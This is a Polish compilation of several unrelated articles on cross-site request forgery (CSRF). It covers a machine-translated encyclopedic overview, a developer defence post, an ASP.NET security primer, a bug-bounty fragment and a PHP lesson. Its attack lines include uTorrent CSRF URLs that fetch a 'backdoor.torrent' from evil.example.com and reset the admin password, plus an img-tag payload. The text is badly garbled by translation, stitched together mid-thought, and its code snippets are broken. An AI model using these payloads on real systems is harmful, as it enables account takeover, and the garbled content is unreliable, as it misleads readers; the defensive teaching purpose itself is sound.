Wniosek o fałszerstwo między witrynami, znany również jako atak jednym kliknięciem lub sesja jazdy konnej i w skrócie CSRF(czasami wymawiane pływ pływowy) lub XSRF, to rodzaj złośliwego oprogramowania wykorzystywanego ze strony internetowej, na której od użytkownika, któremu ufa aplikacja internetowa, wysyłane są nieautoryzowane polecenia. Złośliwa witryna internetowa może wysyłać takie polecenia na wiele sposobów; Na przykład specjalnie spreparowane znaczniki obrazu, ukryte formularze i JavaScript XMLHttpRequests mogą działać bez interakcji użytkownika, a nawet wiedzy. W przeciwieństwie do skryptów między witrynami (XSS), które wykorzystują zaufanie użytkownika do określonej witryny, CSRF wykorzystuje zaufanie, jakie witryna ma do przeglądarki użytkownika.
historia
Luki w zabezpieczeniach CSRF są znane i były wykorzystywane w niektórych przypadkach od 2001 roku. Ponieważ są one wykonywane z adresu IP użytkownika, niektóre dzienniki witryn internetowych mogą nie zawierać dowodów CSRF. Exploity są niedostatecznie zgłaszane, przynajmniej publicznie, a od 2007 roku było kilka dobrze udokumentowanych przykładów:
- Witryna Netflix w 2006 r. zawierała liczne luki w zabezpieczeniach CSRF, które umożliwiały atakującemu wykonywanie działań, takich jak dodanie płyty DVD do kolejki wypożyczenia ofiary, zmiana adresu dostawy na koncie lub zmiana danych logowania ofiary w celu całkowitego złamania zabezpieczeń konta.
- Aplikacja internetowa do bankowości internetowej ING Direct była podatna na ataki CSRF, które umożliwiały nielegalne przelewy pieniędzy.
- Popularny serwis wideo YouTube był również podatny na CSRF w 2008 roku, co pozwoliło każdemu napastnikowi wykonać prawie wszystkie działania dowolnego użytkownika.
- McAfee jest również podatny na CSRF, który umożliwia atakującym modyfikację ich systemu firmowego.
W 2018 roku przeprowadzono nowe ataki na urządzenia internetowe, w tym próby zmian Ustawienia DNS routery. Niektórzy producenci routerów pospiesznie wydali aktualizacje oprogramowania układowego w celu poprawy bezpieczeństwa i zalecili użytkownikom zmianę ustawień routera w celu zmniejszenia ryzyka. Szczegóły nie zostały ujawnione, powołując się na „oczywiste obawy dotyczące bezpieczeństwa”.
Przykład i charakterystyka
Atakujący, którzy mogą znaleźć powtarzalny link, który wykonuje określoną czynność na stronie docelowej, gdy ofiara się loguje, mogą osadzić taki link na kontrolowanej przez siebie stronie i nakłonić ofiarę do jej otwarcia. Łącze ataku przewoźnika może być umieszczone w lokalizacji, którą ofiara prawdopodobnie odwiedzi, logując się na docelowej stronie (takiej jak dyskusja na forum) lub wysłane w treści wiadomości e-mail lub załączniku w formacie HTML. Prawdziwa luka CSRF w utorrent (CVE-2008-6586) wykorzystywała fakt, że jego konsola internetowa jest dostępna na lokalnym hoście: 8080 umożliwiało wykonanie krytycznych akcji za pomocą prostego żądania GET:
Wymuś pobranie pliku .torrent http://localhost:8080/gui/action=add url&s=http://evil.example.com/backdoor.torrent Zmień hasło administratora utorrent http://localhost:8080/gui/action =setsetting&s =webui.hasło&v=eviladmin
Ataki zostały zainicjowane przez umieszczenie złośliwych, zautomatyzowanych elementów graficznych HTML na forach i w spamie e-mail, aby przeglądarki odwiedzające te strony otwierały je automatycznie, bez większego wysiłku ze strony użytkownika. Osoby korzystające z podatnej na ataki wersji utorrenta w tym samym czasie, co otwierające te strony, były narażone na atak.
Ataki CSRF przy użyciu tagów graficznych są często przeprowadzane z forów internetowych, na których użytkownicy mogą publikować obrazy, ale nie JavaScript, na przykład przy użyciu BBCode:
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
Podczas uzyskiwania dostępu do łącza ataku w lokalnej aplikacji utorrent na localhost: 8080 przeglądarka zawsze automatycznie wyśle wszystkie istniejące pliki cookie dla tej domeny. Ta wspólna właściwość przeglądarek internetowych pozwala atakom CSRF na wykorzystanie ich docelowych luk w zabezpieczeniach i wykonywanie wrogich działań, o ile użytkownik jest zalogowany na docelowej witrynie (w ten przykład lokalna sieć- Interfejs Utorrent) w momencie ataku.
Spoofing żądania między witrynami to mylący atak serwera proxy na przeglądarkę internetową.
CSRF ma zazwyczaj następujące cechy:
- Obejmuje witryny, które opierają się na tożsamości użytkownika.
- Wykorzystuje zaufanie witryny do tej tożsamości.
- Nakłania przeglądarkę użytkownika do wysyłania żądań HTTP do witryny docelowej.
- Obejmuje żądania HTTP, które mają skutki uboczne.
Czasowniki HTTP i CSRF
- W HTTP GET wykorzystanie CSRF jest trywialne, przy użyciu metod opisanych powyżej, takich jak proste hiperłącze zawierające zmanipulowane parametry i automatycznie ładowane za pomocą tagu IMG. Zgodnie ze specyfikacją HTTP, GET powinien być jednak stosowany jako metoda bezpieczna, tj. nie zmieniająca znacząco stanu użytkownika w aplikacji. Aplikacje korzystające z GET do takich operacji powinny przełączyć się na HTTP POST lub korzystać z ochrony CSRF.
- HTTP POST ma różne podatności CSRF, w zależności od szczegółowych przypadków użycia:
- W swojej najprostszej formie POST z danymi zakodowanymi jako ciąg zapytania (field1=value1&field2=value2) ataki CSRF można łatwo zaimplementować za pomocą prostego formularza HTML i należy zastosować środki anty-CSRF.
- Jeśli dane są przesyłane w innym formacie (JSON , XML) metoda standardowa wyślij żądanie POST za pomocą XMLHttpRequest z atakami CSRF zapobieganymi przez SOP i ; istnieje metoda przesyłania dowolnej treści z prostego formularza HTML za pomocą atrybutu ENCTYPE; takie fałszywe żądanie można odróżnić od prawidłowych po typie text/plain content, ale jeśli nie zostanie wykonane na serwerze, można wykonać CSRF
- inne metody HTTP (PUT, DELETE itp.) mogą być wydawane tylko przy użyciu XMLHttpRequest z zabezpieczeniem SOP i CSRF; Jednak te środki nie będą aktywne na stronach internetowych, które wyraźnie je wyłączają za pomocą nagłówka Access-Control-Allow-Origin: *
Inne podejścia do CSRF
Dodatkowo, chociaż zwykle określany jako atak statyczny, CSRF może być również dynamicznie budowany jako część ładunku dla scenariuszy ataków międzylokacyjnych, jak pokazuje robak Samy, lub budowany w locie na podstawie informacji o sesji, które wyciekły przez zawartość wyjścia. i wysyłane do celu jako złośliwy adres URL. Tokeny CSRF mogą być również wysyłane przez klienta atakującego z powodu utrwalenia sesji lub innych luk w zabezpieczeniach lub odgadnięte przez atak typu brute force, przetłumaczone na złośliwą stronę, która generuje tysiące nieudanych żądań. Klasa ataku „Dynamic CSRF”, czyli używanie ładunku na klienta w określonej sesji fałszerstwa, została opisana w 2009 roku przez Nathana Hamiela i Seana Moyera na odprawach BlackHat, chociaż taksonomia nie zyskała jeszcze szerszego zastosowania.
Nowy wektor komponowania dynamicznych ataków CSRF został zaprezentowany przez Orena Ofera na spotkaniu lokalnego oddziału OWASP w styczniu 2012 roku - "AJAX Hammer - Dynamic CSRF".
Konsekwencje
Wskaźniki ważności zostały opublikowane dla luk CSRF, które prowadzą do zdalnego wykonania kodu z uprawnieniami roota, a także luki, która może naruszyć certyfikat root, co całkowicie podważyłoby infrastrukturę klucza publicznego.
Ograniczenia
Aby żądanie fałszerstwa między witrynami zakończyło się powodzeniem, musi zajść kilka rzeczy:
- Atakujący musi zaatakować witrynę, która nie sprawdza nagłówka strony odsyłającej lub ofiarę za pomocą przeglądarki lub wtyczki umożliwiającej fałszowanie strony odsyłającej.
- Atakujący musi znaleźć przesłanie formularza w docelowej witrynie lub adres URL, który ma skutki uboczne, które coś robią (takie jak przelew pieniędzy lub zmiana adresu E-mail ofiara lub hasło).
- Atakujący musi określić prawidłowe wartości dla wszystkich formularzy lub danych wejściowych adresu URL; jeśli którekolwiek z nich mają być tajnymi wartościami lub identyfikatorami uwierzytelniania, atakujący nie będzie w stanie odgadnąć, czego prawdopodobnie nie będzie w stanie (chyba że atakujący ma szczęście w swoich odgadnięciach).
- Atakujący musi zwabić ofiarę na stronę internetową ze złośliwym kodem, podczas gdy ofiara loguje się na docelowej stronie.
Atak jest ślepy: atakujący nie widzi, co strona docelowa wysyła z powrotem do ofiary w odpowiedzi na sfałszowane żądania, chyba że wykorzystuje cross-site scripting lub inny błąd w docelowej witrynie. Ponadto osoba atakująca może skierować tylko na dowolny link lub przesłać dowolny formularz, który pojawia się po początkowym sfałszowanym żądaniu, jeśli te kolejne łącza lub formularze są równie przewidywalne. (Wiele celów można symulować, umieszczając wiele obrazów na stronie lub używając JavaScript, aby wprowadzić opóźnienie między kliknięciami).
Biorąc pod uwagę te ograniczenia, osoba atakująca może mieć trudności ze znalezieniem anonimów ofiary lub wrażliwą formę prezentacji. Z drugiej strony, próby ataków są łatwo montowane i niezauważalne dla ofiar, a twórcy aplikacji są mniej zaznajomieni i przygotowani na ataki CS niż, powiedzmy, na ataki słownikowe łamania haseł.
zapobieganie
Większość metod zapobiegania CSRF działa poprzez wstrzykiwanie do żądań dodatkowych danych uwierzytelniających, co pozwala aplikacji internetowej na wykrywanie żądań z nieautoryzowanych lokalizacji.
Znacznik modelu synchronizatora
- Po zalogowaniu aplikacja internetowa ustawia plik cookie zawierający losowy token, który pozostaje taki sam przez całą sesję użytkownika
- JavaScript działający po stronie klienta odczytuje wartość i kopiuje ją do niestandardowego nagłówka HTTP wysyłanego z każdym żądaniem transakcyjnym
- Serwer sprawdza obecność i integralność tokenów
Bezpieczeństwo tej metody opiera się na założeniu, że tylko JavaScript działający w ramach tego samego pochodzenia będzie mógł odczytać wartość ciasteczka. JavaScript uruchomiony na nieuczciwym pliku lub wiadomości e-mail nie będzie mógł odczytać i skopiować niestandardowego nagłówka. Mimo że token CSRF ciasteczka zostanie automatycznie wysłany z fałszywym żądaniem, serwer nadal będzie oczekiwał ważnego tokena X-CSRF nagłówek .
Sam token CSRF musi być unikalny i nieprzewidywalny. Może to być generowane losowo lub może być wyprowadzone z tokenów sesji przy użyciu HMAC :
Csrf_token = HMAC (session_token, application_secret)
Token pliku cookie CS nie powinien mieć flagi HTTPOnly, ponieważ ma być odczytywany przez projekt JavaScript.
Ta metoda jest implementowana przez wiele nowoczesnych frameworków, takich jak Django i AngularJS. Ponieważ token pozostaje stały przez całą sesję użytkownika, działa dobrze z aplikacjami AJAX, ale nie zapewnia sekwencjonowania zdarzeń w aplikacjach sieci Web.
Ochrona zapewniana przez tę metodę może zostać udaremniona, jeśli docelowa witryna wyłącza zasady tego samego pochodzenia przy użyciu jednej z następujących metod:
- Permissive Access-Control-Allow-Origin nagłówek (z gwiazdką argumentu)
- plik clientaccesspolicy.xml przyznający niezamierzony dostęp do kontrolki Silverlight
- plik crossdomain.xml zapewniający niezamierzony dostęp do filmów flash
Podwójne wyślij plik cookie
Podobnie jak w podejściu cookie-to-header, ale bez udziału JavaScript, witryna może ustawić token CSRF jako plik cookie, a także wstawić go w ukrytym polu w każdym formularz HTML wysłane przez klienta. Po przesłaniu formularza witryna może sprawdzić, czy token cookie odpowiada kształtowi plików cookie. Wspólna polityka pochodzenia uniemożliwia atakującemu odczytywanie lub ustawianie plików cookie w domenie docelowej, więc nie może umieścić prawidłowego tokena w utworzonym formularzu.
Zaletą tej metody nad wzorcem synchronizatora jest to, że token nie musi być przechowywany na serwerze.
Gwarancje dla klientów
Rozszerzenia przeglądarki, takie jak RequestPolicy (dla Mozilla Firefox) lub Umatrix (zarówno dla przeglądarki Firefox, jak i Google Chrome/Chromium) mogą zapobiegać CSRF, zapewniając domyślną zasadę odmowy dla żądań między witrynami. Może to jednak znacznie utrudnić normalna operacja wiele witryn. Rozszerzenie CsFire (również dla Firefoksa) może złagodzić wpływ CSRF z mniejszym wpływem na normalne przeglądanie, usuwając informacje uwierzytelniające z żądań między witrynami.
Starałem się opisać, czym dokładnie jest ta podatność i nie bez znaczenia, jakie warunki są niezbędne do przeprowadzenia ataku CSRF.
W tym artykule postaram się opowiedzieć o ochronie przed tego typu atakami z zewnątrz:
- Od strony klienta – główne sposoby na ochronę
- Od strony serwera - odpowiedni projekt aplikacji
Jeśli interesuje Cię, jak uchronić się przed CSRF, witaj pod kotem.
informacje ogólne
Ogólnie chciałbym przypomnieć, że CSRF NIE jest luką w zabezpieczeniach, jest rodzajem ataku. A atak ten jest przeprowadzany na końcowym użytkowniku aplikacji internetowej z wykorzystaniem podatności w ta aplikacja, co można nazwać „Brakem poprawnej weryfikacji źródła żądania” (nazwę, którą sam wymyśliłem, nie oceniam ściśle, ale jest). Ale dalej będę nazywać CSRF luką i atakiem na jedną osobę, ponieważ jest to łatwiejsze i tak jest akceptowane =)
A skoro atak jest przeprowadzany na użytkownika, to użytkownik musi się bronić… żart =) Faktem jest, że każdy użytkownik może ograniczyć możliwość przeprowadzenia tego ataku na dowolnej witrynie, z której korzysta (nawet jeśli te witryny nie mają wbudowanej ochrony przed CSRF). Ale oprócz użytkowników sami twórcy witryn mogą zaprojektować swoją aplikację w taki sposób, aby uniemożliwić przeprowadzenie tego ataku na swoich użytkowników.
Rozważ ochronę z obu stron.
Ochrona użytkownika
Ogólnie wszystko tutaj jest bardzo banalne:
- Nie klikaj linków oferowanych przez osoby trzecie. To najbardziej banalna rada, myślę, że wszyscy już to wiedzą, ale postanowiłem to powtórzyć.
- Cofnij autoryzację po zakończeniu pracy z określoną witryną. Nawet jeśli istnieje luka w zabezpieczeniach, osoba atakująca nie będzie w stanie wykonać działań w witrynie docelowej w Twoim imieniu.
- Używaj oddzielnej przeglądarki lub „trybów prywatnych lub anonimowych” do pracy z ważnymi witrynami (najlepiej używaj jednej przeglądarki na witrynę ^_^, a jeszcze lepiej osobnego komputera :D).
To wszystko. Przejdźmy teraz do sedna sprawy.
Ochrona programistów
Jak już wspomniano, podatność polega na braku właściwej weryfikacji źródła żądania. Oznacza to, że tworząc aplikację musimy wbudować funkcjonalność sprawdzania tego źródła. A jaka jest pierwsza rzecz, która przychodzi nam do głowy? Prawidłowy! Sprawdzenie polecającego.
Sprawdzenie polecającego
Muszę od razu powiedzieć, dla tych, którzy czytają artykuły na ukos. Oparcie obrony tylko na sprawdzaniu tego nagłówka jest złe(!). Dlaczego - patrz poniżej.
Najpierw zastanówmy się, czym jest ta metoda.
Współpracujemy ze stronami korzystającymi z protokołu HTTP. Każdy pakiet tego protokołu to zestaw nagłówków + zawartość pakietu. Jednym z tych nagłówków jest Referer. Zawiera adres źródła przejścia. Banalny przykład: masz otwartą stronę internetową A, na tej stronie klikasz na link do strony b, w tym momencie podczas żądania nagłówek Referer będzie zawierał adres strony A. Oznacza to, że wydaje się, że jest to idealny mechanizm do śledzenia, skąd pochodzi użytkownik.
Ale piekło. I nie chodzi tu o to, że możesz sfałszować stronę odsyłającą (jaki rozsądny haker poprosiłby ofiarę o zmianę strony odsyłającej i skorzystanie z podanego linku). Faktem jest, że według moich statystyk około 5% użytkowników ma wyłączony transfer Referer. Oznacza to, że albo te pięć procent nie będzie w ogóle w stanie pracować z witryną, albo będą podatne na ten atak (w zależności od zasad aplikacji).
Tak, tak, tak, wiem o czym myślałeś… Co do diabła z tymi 5%? Niech będą podatne na ataki, ale pozostałe 95% są chronione, a jednocześnie zdołałeś zarobić trochę krwi. Czyli jeśli referrer zawiera adres naszej aplikacji lub jest pusty, to uważamy, że źródło jest potwierdzone? Znowu nadchodzi piekło! Istnieją opcje wymuszenia na przeglądarce ofiary wypełnienia żądania bez określania strony odsyłającej (pisałem o tym)! I voila! Okazuje się, że wszyscy użytkownicy są nadal podatni na ataki.
Vooschem jako niezależny sposób Ta metoda bez znaczenia.
Potwierdzenie akcji
Do każdego formularza zgłoszeniowego można dołączyć captcha i pokazać go nawet zarejestrowanym użytkownikom w celu uratowania ich z CSRF... Chociaż może wolałbym oddać swoje konto hakerowi niż pracować w takim systemie...
Tokeny
Cóż, teraz jedyny poprawny i niezawodny sposób.
Oznaczający Ta metoda jest dodanie parametru zawierającego „tokeny” do każdego linku, formularza zgłoszeniowego i tak dalej. A po otrzymaniu żądania serwer musi sprawdzić obecność tego tokena w otrzymanych parametrach. Oczywiście każdy token dla każdego użytkownika musi być unikalny, a jeszcze lepiej, jeśli każdy token będzie unikalny.
Jeden z najprostszych i najbardziej niezawodnych przykładów realizacji - przy każdym żądaniu generowany jest nowy token i ustawiany w plikach cookie użytkownika, a także dodawany do parametrów formularzy i linków na stronie:
A następnie, gdy każde żądanie zostanie odebrane, porównywany jest token z plików cookie oraz token określony w parametrach formularza. A jeśli są takie same, to źródło wniosku jest legalne. Następnie token jest ponownie generowany i ponownie ustawiany na plik cookie i tak dalej. okrągły.
Ogólnie implementacja może być inna, ale problem polega na tym, że przejście na tokeny jest dość trudne, ponieważ trzeba brać pod uwagę każdy link, każdy formularz, każdą stronę… Możesz chronić tylko ważne strony/formularze/linki, ale wtedy jest szansa, że niektóre z nich przegapisz.
Osobiście chronię tylko formularze POST i bardzo ważne linki. Oznacza to, że POST w moich aplikacjach nie działa bez obecności prawidłowego tokena. Eliminuje to możliwość zapomnienia o zabezpieczeniu jakiejś formy, bo to po prostu nie zadziała i od razu to zauważę.
Wyjście
Mam nadzieję, że z tego artykułu zrozumiałeś, jak chronić się przed atakami CSRF.
ASP.NET MVC nie jest najbardziej rozreklamowanym, ale dość popularnym stosem w środowisku programistycznym. Z punktu widzenia (anty)hakera, jego standardowa funkcjonalność zapewnia pewien podstawowy poziom bezpieczeństwa, ale dodatkowa ochrona jest potrzebna do ochrony przed ogromną większością sztuczek hakerskich. W tym artykule omówimy podstawy, które programista ASP.NET (czy to Core, MVC, MVC Razor, czy formularze sieci Web) powinien wiedzieć o bezpieczeństwie.
Zacznijmy od dobrze znanych typów ataków.
Wstrzyknięcie SQL
Co dziwne, ale w 2017 r. wstrzyknięcie, a w szczególności wstrzyknięcie SQL, znalazło się na pierwszym miejscu wśród „Top 10 OWASP Security Risks” (Open Web Application Security Project). Ten rodzaj ataku implikuje, że dane wprowadzone przez użytkownika są wykorzystywane po stronie serwera jako parametry zapytania.
Przykład klasycznego wstrzykiwania SQL jest raczej typowy dla Aplikacje internetowe formularze. Używanie parametrów jako wartości zapytania pomaga chronić przed atakami:
String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; Polecenie SqlCommand = new Polecenie Sql(tekst polecenia, ciąg połączenia); polecenie.Parametry["@ID"].Wartość = identyfikator klienta;
Jeśli tworzysz aplikację MVC, Entity Framework obejmuje niektóre luki. Trzeba sobie poradzić, aby uzyskać wstrzyknięcie SQL, które zadziałało w aplikacji MVC/EF. Jest to jednak możliwe, jeśli wykonujesz SQL z ExecuteQuery lub wywołujesz źle napisane procedury składowane.
Chociaż ORM unika wstrzykiwania SQL (z wyjątkiem powyższych przykładów), zaleca się, aby atrybuty były ograniczone do wartości, które mogą przyjmować pola modelu, a zatem pola formularza. Na przykład, jeśli założymy, że w polu można wprowadzić tylko tekst, użyj wyrażenia regularnego, aby określić zakres ^+$ . A jeśli w polu należy wpisać liczby, wskaż to jako wymóg:
Publiczny ciąg Zip ( get; set; )
W formularzach internetowych możesz ograniczyć wartości za pomocą walidatorów. Przykład:
Ponieważ formularze sieci Web .NET 4.5 używają dyskretnej weryfikacji. Oznacza to, że nie musisz pisać żadnego dodatkowego kodu, aby sprawdzić wartość formularza.
W szczególności sprawdzanie poprawności danych może pomóc w ochronie przed inną dobrze znaną luką w zabezpieczeniach, zwaną cross-site scripting (XSS).
XSS
Typowym przykładem XSS jest dodanie skryptu do komentarza lub wpisu do księgi gości. Może to wyglądać tak:
Jak rozumiesz, w tym przykładzie pliki cookie z Twojej witryny są przekazywane jako parametr do jakiegoś zasobu hakerskiego.
W formularzach internetowych możesz popełnić błąd w kodzie w następujący sposób:
Przepraszam<%= username %>ale hasło jest błędne
Oczywiste jest, że zamiast nazwy użytkownika może być skrypt. Aby uniknąć wykonania skryptu, możesz przynajmniej użyć innego wyrażenia ASP.NET: , które koduje jego zawartość.
Jeśli używamy Razora, to ciągi są automatycznie kodowane, co ogranicza do minimum możliwość zaimplementowania XSS - haker może to zrobić tylko wtedy, gdy popełnisz rażący błąd, np. użyjesz @Html.Raw(Model.username) lub użyj MvcHtmlString zamiast ciągu w swoim modelu.
W celu dodatkowej ochrony przed XSS dane są również kodowane w kodzie C#. W programie .NET Core można używać następujących koderów z przestrzeni nazw System.Text.Encodings.Web: HtmlEncoder , JavaScriptEncoder i UrlEncoder .
Poniższy przykład zwróci ciąg 6 7
8Zasadniczo, gdy ofiara ładuje stronę, wysyła żądanie do skryptu Badoo, pobiera parametr rt dla tego użytkownika, a następnie wysyła żądanie w imieniu ofiary. W tym przypadku było to połączenie konta Mahmouda z kontem ofiary, co pozwoliło na całkowite przejęcie konta.
wnioski
Tam, gdzie jest dym, jest ogień.Tu Mahmoud zauważył, że parametr rt jest zwracany w różnych miejscach, w konkretnych odpowiedziach json. Więc poprawnie odgadł, że może być pokazany gdzieś, gdzie mógłby być użyty w tym przypadku w pliku js.
Wyniki
Ataki CSRF stanowią kolejny niebezpieczny wektor ataku i mogą być przeprowadzane z niewielkim lub żadnym powiadomieniem ofiary. Znalezienie luk CSRF wymaga pewnej pomysłowości i, ponownie, chęci przetestowania wszystkiego.
Ogólnie rzecz biorąc, formularze są domyślnie chronione przez frameworki, takie jak Rails, jeśli witryna wysyła żądanie POST, ale API mogą:
być osobną historią. Na przykład Shopify jest napisany głównie w oparciu o framework Ruby on Rails, który domyślnie zapewnia ochronę CSRF dla wszystkich formularzy (chociaż można to wyłączyć). Jednak oczywiście nie musi tak być w przypadku interfejsów API zbudowanych za pomocą tego frameworka. Na koniec zwróć uwagę na wywołania, które modyfikują dane na serwerze (takie jak akcja usuwania) i są wykonywane z żądaniem GET.
Od autora: powód nagrania ta lekcja posłużyło jako pytanie na naszym forum, które brzmiało tak – jak chronić witrynę przed atakami CSRF? Oczywiście od razu odpowiedzieliśmy na ten temat i podaliśmy mały algorytm implementacji mechanizmu ochrony. Ale ponieważ najprawdopodobniej czytają forum, a nie wszyscy nasi czytelnicy, postanowiłem napisać osobną lekcję na powyższy temat.
Chciałbym od razu zauważyć, że obecny film nie zapewni pełnowartościowego rozwiązanie pod klucz, który można umieścić w żądanej witrynie. Ponieważ każdy z Was ma lub będzie miał witrynę o unikalnej strukturze logicznej, czyli zupełnie niepodobnej do innych, co oznacza, że nie da się stworzyć gotowego skryptu ochrony, z zachowaniem absolutnie wszystkich możliwych opcji implementacji.
Tak, i nie jest to konieczne, ponieważ istota mechanizmu ochrony jest dość prosta, dlatego w bieżącym filmie, na przykładzie witryny testowej, zobaczysz, jak możesz uchronić się przed powyższym rodzajem ataku, oraz następnie, na podstawie zdobytej wiedzy, podejmiesz podobne kroki na własnym projekcie. Więc zacznijmy.
CSRF to skrót utworzony przez angielskie słowa Cross-Site Request Forgery, co oznacza cross-site request forgery. Termin ten został wprowadzony dość dawno temu w 2001 roku przez Petera Watkinsa, ale o możliwych tego typu atakach zaczęli mówić już w 1988 roku. Jednocześnie należy pamiętać, że minęło już wystarczająco dużo czasu, ale większość stron internetowych nadal jest poddawana temu atakowi. Od razu pojawia się pytanie - dlaczego tak? A odpowiedź jest dość prosta i polega na tym, że podatność na ataki CSRF nie jest błędem w kodzie aplikacji, ale konsekwencją całkowitego normalna praca przeglądarka i serwer WWW.
Istotą ataku jest to, że osoba atakująca może wykonywać różne działania na niezabezpieczonej witrynie w imieniu innego zarejestrowanego (autoryzowanego) użytkownika. Innymi słowy dany typ Atak polega na odwiedzeniu strony atakującego przez użytkownika, co z kolei prowadzi do tego, że pewne predefiniowane czynności wykonywane są dla niego niepostrzeżenie na innej stronie lub serwisie, w którym ten użytkownik się znajduje. ten moment upoważniony.
W tym przypadku z reguły celem ataków CSRF są różne interaktywne aplikacje internetowe, które wykonują określone czynności, np. usługi wysyłania e-maili, różne fora, systemy płatności itp. Oznacza to, że haker może wykonywać pewne czynności w imieniu innych użytkowników - wysyłać wiadomości, dodawać nowe konta, przeprowadzać transakcje finansowe itp.
Przyjrzyjmy się teraz efektowi tego ataku na przykładzie strony testowej.
Załóżmy, że istnieje serwis, którego zadaniem jest wysłanie wiadomości e-mail na podany adres w imieniu jakiegoś uprawnionego użytkownika. To znaczy, na strona główna widzimy formularz do wysłania wiadomości. Ponadto istnieje również mechanizm wysyłania wiadomości podczas transmisji niektóre parametry przez żądanie GET (na przykład). Strona logowania wygląda tak:
Ta strona dość zwyczajne, ale uwagę przykuwa checkbox „Członek”, który służy do zapisywania tej autoryzacji w plikach cookie przeglądarki. Tak właściwie ten mechanizm bardzo wygodne dla użytkowników, ponieważ ułatwia ponowne wejście na stronę, ale wysoce niepożądane z punktu widzenia bezpieczeństwa. Jednak ze względu na odwiedzających często trzeba iść na pewne ustępstwa.
Kod do wysyłania wiadomości dwoma metodami (GET i POST) wygląda mniej więcej tak:
//Wysyłanie wiadomości if($this->isGet() && !empty($_GET["email"])) ( $body = "Witaj, to jest formularz wiadomości - ".$this->użytkownik["nazwa"] ; $body .= " Treść - z GET - ".$_GET["treść"]."Od - ".$_GET["e-mail"]; mail(" [e-mail chroniony]","Nowa wiadomość",$body); ) if($this->isPost()) ( $body = "Witaj, to jest formularz wiadomości - ".$this->użytkownik["nazwa"]; $body .= " Treść - FROM POST - ".$_POST["treść"]."From - ".$_POST["e-mail"]; mail(" [e-mail chroniony]","Nowa wiadomość",$body); )
// Wyślij wiadomość if ($ this -> isGet() && ! empty ($ _GET [ "email" ] ) ) ( $ciało=. $this -> użytkownik["nazwa"] ; $ciało. = "Zawartość-z GET-". $_GET["treść"] . "Od - " . $_GET["e-mail"]; if ($ this -> isPost() ) ( $ciało= "Witam, to jest formularz wiadomości - ". $this -> użytkownik["nazwa"] ; $ciało. = "Treść - OD POST - " . $_POST["treść"] . "Od - " . $_POST["e-mail"]; Poczta(" [e-mail chroniony]" , "Nowa wiadomość" , $ body ); |
A teraz spójrzmy na inną stronę - stronę hakera.
Na którym może umieścić dość prosty, ale bardzo skuteczny kod, jeśli chcesz zaatakować na żądanie GET:
< img src = „http://host lokalny/csrf/ [e-mail chroniony]&content=Witaj świecie"> |
Czyli tak naprawdę widzimy tag img, którego atrybut src jest ścieżką do strony przeznaczonej do ataku, wraz z zestawem parametrów niezbędnych do wykonania określonej akcji. W naszym przypadku jest to wysłanie wiadomości, co oznacza, że teraz wystarczy, aby atakujący zwabił użytkownika na bieżącą stronę i niezauważony przez niego zostanie wysłane żądanie do interesującej strony, ponieważ przeglądarka spróbuje pobierz obraz, do którego ścieżka jest określona w atrybucie src. Jednocześnie pamiętamy, że pliki cookies przeglądarki przechowują dane do autoryzacji i oczywiście aplikacja natychmiast je wykorzystuje i odpowiednio powyższe żądanie zostanie pomyślnie przetworzone przez serwer. A to oznacza, że wiadomość zostanie wysłana w imieniu użytkownika.
Jeśli spojrzymy na zestaw nagłówków, które są wysyłane wraz z żądaniem, to rzeczywiście możemy również zobaczyć pliki cookie z danymi logowania. rachunek, co samo w sobie oznacza - jak wspomniano powyżej, że żądanie będzie postrzegane jako pochodzące od uwierzytelnionego użytkownika.
Dokładnie taka sama sytuacja jest z wysłaniem zapytania. Metoda POST, tylko w tym przypadku atakujący utworzy na swojej witrynie formularz, który zostanie automatycznie przesłany za pomocą JavaScript, gdy tylko odwiedzający wejdzie na tę witrynę.
Dlatego konieczna jest obrona przed tego rodzaju i jedynymi najbardziej atakami skuteczna metoda ochrona polega na wykorzystaniu specjalnych tokenów.
Token zabezpieczający to ciąg, który jest generowany losowo dla określonego użytkownika i jest przesyłany w każdym żądaniu, które obejmuje zmianę danych. Ponadto token jest również przechowywany w sesji. Istota ochrony sprowadza się zatem do prostego sprawdzenia zgodności tokenu przesyłanego w żądaniu i tokena przechowywanego w sesji. Jeżeli oba tokeny są identyczne, to żądanie zostało wysłane przez uprawnionego użytkownika. Jeśli tokeny nie pasują lub nie ma ich w ogóle w żądaniu, można z dużą pewnością ocenić, że atak jest przeprowadzany, co oznacza, że nie można wykonać żadnych działań.
Pamiętaj, że musisz chronić absolutnie wszystkie żądania, które mają na celu zmianę lub wykonanie określonych czynności.
Właściwie na tym etapie część tekstowa lekcji jest zakończona i nadal będziemy rozmawiać na temat, na który jesteśmy już w wersji wideo. Jednocześnie rozważymy sposoby generowania tokenów i praktycznie zaimplementujemy opisany powyżej algorytm ochrony. A teraz pożegnajmy się. Udanego kodowania!!!
